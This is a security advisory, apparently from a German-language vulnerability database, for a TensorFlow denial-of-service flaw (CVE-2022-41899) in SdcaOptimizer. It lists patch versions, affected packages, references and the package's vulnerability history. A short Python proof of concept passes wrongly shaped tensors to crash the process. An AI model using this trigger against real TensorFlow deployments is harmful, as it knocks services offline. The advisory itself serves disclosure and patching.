`CHECK` fail via inputs in `SdcaOptimizer`
Impact
Inputs dense_features or example_state_data not of rank 2 will trigger a CHECK fail in SdcaOptimizer.
import tensorflow as tf
tf.raw_ops.SdcaOptimizer(
sparse_example_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
sparse_feature_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
sparse_feature_values=8 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
dense_features=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
example_weights=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
example_labels=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
sparse_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
sparse_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
dense_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
example_state_data=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
loss_type="squared_loss",
l1=0.0,
l2=0.0,
num_loss_partitions=1,
num_inner_iterations=1,
adaptative=False,)Patches
We have patched the issue in GitHub commit 80ff197d03db2a70c6a111f97dcdacad1b0babfa.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Zizhuang Deng of IIE, UCAS
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 | 2.8.4, 2.9.3, 2.10.1 |
| Python (PyPI) | tensorflow-cpu | < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 | 2.8.4, 2.9.3, 2.10.1 |
| Python (PyPI) | tensorflow-gpu | < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 | 2.8.4, 2.9.3, 2.10.1 |
Verweise
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-27rc-728f-x5w2
- https://nvd.nist.gov/vuln/detail/CVE-2022-41899
- https://github.com/tensorflow/tensorflow/commit/80ff197d03db2a70c6a111f97dcdacad1b0babfa
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/sdca_internal.cc
- https://pypi.org/project/tensorflow
- https://github.com/advisories/GHSA-27rc-728f-x5w2
- https://pypi.org/project/tensorflow-cpu
- https://pypi.org/project/tensorflow-gpu
- CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H- Schwäche (CWE)
CWE-20, CWE-617- Plattform
- Python (PyPI)
- Paket
tensorflow, tensorflow-cpu, tensorflow-gpu- Veröffentlicht
- 21.11.2022
- Aktualisiert
- 11.10.2026 14:17
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-3086 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3264 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-27rc-728f-x5w2 - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-941 - PyPA Advisory Database; CC BY 4.0
Schwachstellenhistorie: tensorflow-gpu
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 427
- Erste → letzte
- 04.2019 07.2024
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 6
- Hoch 109
- Mittel 207
- Niedrig 105
Veröffentlichungen pro Jahr
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 18
- 2024: 1
- 2025: 0
- 2026: 0
-
`CHECK` fail via inputs in `SdcaOptimizer` dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.